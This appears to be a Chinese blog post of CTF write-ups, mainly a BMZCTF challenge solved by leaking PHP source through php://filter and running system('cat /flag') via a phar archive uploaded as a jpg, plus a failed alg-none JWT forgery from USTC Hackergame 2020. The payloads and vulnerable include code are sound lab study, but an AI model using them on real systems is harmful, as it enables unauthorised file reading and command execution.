各种CTF练习平台WriteUp😊

各种CTF练习平台WriteUp😊

一、BMZCTF:phar??

1、开局查看源码提示include.php和upload.php,include.php盲猜payload

1
include.php?file=php://filter/convert.base64-encode/resource=upload.php

​ 获取源码base64,解码如下:

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<form action="" enctype="multipart/form-data" method="post" 
name="upload">file:<input type="file" name="file" /><br>
<input type="submit" value="upload" /></form>

<?php
if(!empty($_FILES["file"]))
{
echo $_FILES["file"];
$allowedExts = array("gif", "jpeg", "jpg", "png");
@$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
|| (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
|| (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
&& (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
{
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
echo "file upload successful!Save in: " . "upload/" . $_FILES["file"]["name"];
}
else
{
echo "upload failed!";
}
}
?>
#白名单后缀:gif jpeg jpg png

include.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<html>
Tips: the parameter is file! :)
<!-- upload.php -->
</html>
<?php
@$file = $_GET["file"];
if(isset($file))
{
if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
{
echo "<p> error! </p>";
}
else
{
include($file.'.php');
}
}
?>
#不允许出现http、data、ftp、input协议的使用,%00的过滤似乎没用,另外不允许使用..穿越路径

​ 审计源码,上传文件后缀名与content-type都设置了白名单,include.php在包含文件时也有路径限制,并且强制拼接了.php后缀。所以采用phar伪协议上传,来绕过限制。

特点1:上传后缀为jpg的phar归档,仍然可以通过phar://zjc.jpg/index.php去访问php文件

特点2:本来源码设置了include_path?但是使用phar协议却可以绕过这个目录包含的限制?

Payload:

1
2
3
http://www.bmzclub.cn:20188/include.php?file=phar://upload/my2.jpg/index

POST: zjc=system('cat /flag');

二、普通的身份认证器

中国科学技术大学第七届信息安全大赛

​ 此题怀疑是JWT伪造,题目解释如下:

近日,小 T 接手了某个老旧 Python 网站的重构工作。接手之后,他把原先的 requirements.txt 复制到了新项目下,更换了后端框架,照着框架文档魔改了身份认证部分的内容,写出了一个测试用的原型。看起来一切都很正常,只是他似乎没有仔细检查每一项依赖的版本。

​ 总觉得有哪里不对,但奈何python网站只了解flask和Django,尝试Django文档中找配置身份认证的内容,没有找到。

1、今天看学校Dozer社团大佬们的Wiki,学习到了JWT相关的攻击方法

​ 分别是1、None签名绕过检测 2、 RSA->HSA算法转换

​ 2的使用条件需要知道公钥,这个我不知道呀。试试1吧!通过脚本构造Payload如下

1
2
3
4
5
6
7
8
9
10
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6IjE2MDQ0OTg4NTYifQ.

## HEADER:{
"typ": "JWT",
"alg": "none"
}
## PAYLOAD:{
"sub": "admin",
"exp": "1604498856"
}

​ 失败呀!再想想其它思路吧。

三、HackerGame2020——超简易的网盘服务器

中国科学技术大学第七届信息安全大赛

​ 这里学习到了h5ai这一文件服务器模板,有时间可以自己搭建一个云盘服务器。另外对HTTP Authorization 的 Basic Auth有了基础了解。

当前网速较慢或者你使用的浏览器不支持博客特定功能,请尝试刷新或换用Chrome、Firefox等现代浏览器